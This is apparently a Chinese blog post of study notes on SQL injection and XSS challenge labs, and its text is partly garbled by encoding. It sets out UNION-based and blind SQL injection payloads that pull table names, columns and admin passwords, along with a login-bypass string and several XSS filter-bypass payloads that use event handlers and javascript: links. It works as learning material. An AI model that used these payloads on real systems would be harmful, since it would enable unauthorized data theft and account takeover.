60.sql注入與xss挑戰(zhàn)

一、sql注入(正?;仫@)的步驟
1.檢查注入點(diǎn)——使用'
報(bào)錯(cuò)——>'引入了查詢語句
正?!?gt;沒有注入點(diǎn)
and 1=1(真邏輯)——>返回正常
and 1=2(假邏輯)——>返回錯(cuò)誤(數(shù)字型)
and '1'=1 and '1'='2(字符型)
2.查詢列數(shù)
order by N
返回正確(有第N列)
返回錯(cuò)誤(沒有N列)
3.查詢回顯位置
-1 union select 1,2,3,4,5(有5列)
查看頁面顯示哪個(gè)數(shù)字
4.在有回顯的位置插入
查詢語句

-1 union select 1,username,3,4,5 from user 

(數(shù)字2在頁面顯示)
獲取數(shù)據(jù)庫信息 (version(),user(),database());
獲取表名

 -1' union select table_name from information_schema.tables where table_schema=database() limit 0,1#

獲取字段名

-1' union select column_name from information_schema.columns where table_name='test_admin' limit 0,1#

查詢數(shù)據(jù)

 -1' union select 字段名 from 表名 limit 0,1#

二、xss挑戰(zhàn)
1.url中帶有g(shù)et參數(shù)?name=xxx,于是在參數(shù)加入js代碼

<script>alert(/xss/)</script>

2.先在輸入框嘗試輸入<script>alert(/xss/)</script>,看到搜索內(nèi)容正?;仫@,于是查看源代碼


過濾尖角號(hào)

所以考慮將前面的input標(biāo)簽閉合,讓script標(biāo)簽生效,構(gòu)造:

"><script>alert(/xss/)</script>

3.先在輸入框嘗試輸入<script>alert(/xss/)</script>,搜索內(nèi)容正?;仫@,于是查看源代碼


input也過濾尖角號(hào)

嘗試不使用標(biāo)簽而是向標(biāo)簽中添加監(jiān)聽事件,觸發(fā)事件則產(chǎn)生彈窗。構(gòu)造:

'onmouseover='alert(/xss/)

當(dāng)鼠標(biāo)經(jīng)過輸入框,則會(huì)觸發(fā)彈窗。
4.先在輸入框嘗試輸入<script>alert(/xss/)</script>,看到搜索內(nèi)容正?;仫@,于是查看源代碼


尖角號(hào)轉(zhuǎn)空

嘗試閉合雙引號(hào)后構(gòu)造一個(gè)事件觸發(fā)后彈窗,構(gòu)造:

" onkeydown="alert(/xss/)

當(dāng)按下鍵盤時(shí)彈窗。
5.先在輸入框嘗試輸入<script>alert(/xss/)</script>,看到搜索內(nèi)容正?;仫@,于是查看源代碼


對(duì)script進(jìn)行轉(zhuǎn)義

嘗試不使用script標(biāo)簽,而是使用一個(gè)鏈接配合JavaScript偽協(xié)議進(jìn)行彈窗,構(gòu)造:

"><a href="javascript:alert(/xss/)">xss</a>

三、sql注入示例

1.登錄賬號(hào):admin

密碼:2'or1

2.驗(yàn)證有沒有sql注入,在鏈接末尾

加'

image
image
image

說明有sql注入

加 [and exists(select * from admin)]

image

加 [and exists(select admin from admin)]

image

加 [and exists(select password from admin)]

image

加[and (select top 1 len(admin) from admin)>1]

image

一直往上加,直到5,失敗[and (select top 1 len(admin) from admin)>5],說明密碼是5位的

image

加[and select top 1 asc(mid(admin,1,1)) from admin)>96正確

image

加[and select top 1 asc(mid(admin,1,1)) from admin)>97發(fā)生錯(cuò)誤,說明第一條記錄的第一個(gè)字符是a。(mid('123456',2,3) --這個(gè)代表從第二位截取,截取3位長度,結(jié)果就是234)

image

第二個(gè)字符的ASCII碼為99,是d

image

檢測字段長度

image
image

聯(lián)合查詢

image
image


四、繞過xss
題目過濾xss這三個(gè)字母,
1.繞過:<script>alert(String.fromCharCode(120,115,115))</script>


ASCII碼繞過

2.f12調(diào)出控制臺(tái),在控制臺(tái)輸入alert('xss')


控制臺(tái)繞過

image.png

image.png

3.用分號(hào)截?cái)?;;;;


分號(hào)截?cái)?/div>
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容